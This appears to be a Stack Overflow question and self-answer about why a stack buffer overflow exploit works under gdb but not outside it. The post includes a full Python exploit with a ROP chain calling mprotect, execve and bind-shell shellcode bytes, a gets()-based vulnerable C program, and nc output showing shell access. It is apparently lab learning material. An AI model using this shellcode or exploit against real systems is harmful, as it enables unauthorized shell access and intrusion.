cstack-overflowreverse-engineeringbuffer-overflowexploit

Shellcode stub got exited right after executed in Buffer Overflow Exploitation


I am currently playing around with some exploitation techniques in 64-bit Intel executable. My program was compiled with canary protection disabled (-fno-stack-protector), buffer overflow error detection (D_FORTIFY_SOURCE=0) and ASLR.

My problem was that despite whether I used shellcode to execute /bin/sh (using execve) or bind /bin/sh to TCP port, my vulnerable program always exited immediately as follow, I cannot get access to the shell:

# cat payload | ./vuln 
Hi there ����������j)Xj_j^�1���2�+j^�j!X��u�PH�/bin//shST_�;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB�c��� !!
Segmentation fault (core dumped)

However, when use gdb to debug, everything was going as I expected and I could establish a socket listen on port 5400 and hacked successfully (when using shellcode stub with TCP, it hanged as expected):

gef➤  r < payload
Starting program: /root/x86-exploitation/vuln < payload
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hi there ����������H1�H1�j)X��j_H�jf�D$�T^RjZj1XP^j2Xj+XH�j^�ΰ!u�H1��H�/bin//shST_j;XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB�c��� !!

And I can use nc to connect:

# netstat -tupnl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      655/systemd-resolve 
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      798/sshd: /usr/sbin 
tcp        0      0 127.0.0.1:34317         0.0.0.0:*               LISTEN      5459/code-dc96b837c 
tcp        0      0 0.0.0.0:5600            0.0.0.0:*               LISTEN      5952/vuln           
tcp6       0      0 :::22                   :::*                    LISTEN      798/sshd: /usr/sbin 
udp        0      0 127.0.0.53:53           0.0.0.0:*                           655/systemd-resolve 
# nc -v localhost 5600
nc: connect to localhost (::1) port 5600 (tcp) failed: Connection refused
Connection to localhost (127.0.0.1) 5600 port [tcp/*] succeeded!
ls
��
Ropper
payload

But for shellcode with execve, it still got exited:

gef➤  r < payload
Starting program: /root/x86-exploitation/vuln < payload
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hi there ����������H1��iH1�H��/bin/shH�SH��H1�PWH��;j_j<XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB�c��� !!
process 6121 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Inferior 1 (process 6121) exited normally]

I suppose this has something to do with stdin and stdout but I still do not figure out.

Here is my script for the input and my vulnerable program:

import sys
import struct

base_libc_addr = 0x00007ffff7d8c000
pop_rdi = struct.pack('<Q', base_libc_addr + 0x000000000002a3e5)
rdi = struct.pack('<Q', 0x00007fffffffe000)
pop_rsi = struct.pack('<Q', base_libc_addr + 0x000000000002be51)
rsi = struct.pack('<Q', 0x1000)
pop_rdx = struct.pack('<Q', base_libc_addr + 0x0000000000170337)
rdx = struct.pack('<Q', 0x7)
mprotect = struct.pack('<Q', base_libc_addr + 0x000000000011eaa0)
padding = b'C'*6
final = struct.pack('<Q', 0x00007fffffffe260)

# 0x00007fffffffdee0
# 0x00007fffffffdef0

nops = b'\x90'* 10

# shellcode for /bin/sh binding to TCP
# shellcode=b"\x48\x31\xc0\x48\x31\xf6\x99\x6a\x29\x58\xff" 
# shellcode+= b"\xc6\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66" 
# shellcode+=b"\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x10" 
# shellcode+=b"\x5a\x6a\x31\x58\x0f\x05\x50\x5e\x6a\x32\x58" 
# shellcode+=b"\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03" 
# shellcode+= b"\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x31" 
# shellcode+=b"\xc0\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73" 
# shellcode+=b"\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05" 
# shellcode for execve() /bin/sh
shellcode = b'\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05'

buf = nops + shellcode
buf += b'A'*(208 - len(nops) - len(shellcode))
buf += b'B'*8

sys.stdout.buffer.write(buf + pop_rdi + rdi + pop_rsi + rsi + pop_rdx + rdx + mprotect + padding + final)

Here is my vulnerable program:

#include <stdio.h>
void greet_me(){
    char name[200];
    gets(name);
    printf("Hi there %s !!\n", name);
}
int main(int argc, char *argv[]){
    greet_me();

    return 0; 
}

Solution

  • Ok I found out how to solve the problem myself. This is because gdb set some additional environment variables, which caused the difference in stack address between executing in gdb and outside gdb. One way to solve this is to run my program with the same environment variables in both case.

    env -i PWD="/root/x86-exploitation" SHELL="/bin/bash" SHLVL=0 /root/x86-exploitation/vuln < payload
    env -i PWD="/root/x86-exploitation" SHELL="/bin/bash" SHLVL=0 gdb /root/x86-exploitation/vuln
    

    You also need to unset some environment variables set by GDB while running it, in my case, they are COLUMNS and LINES:

    unset env COLUMNS
    unset env LINES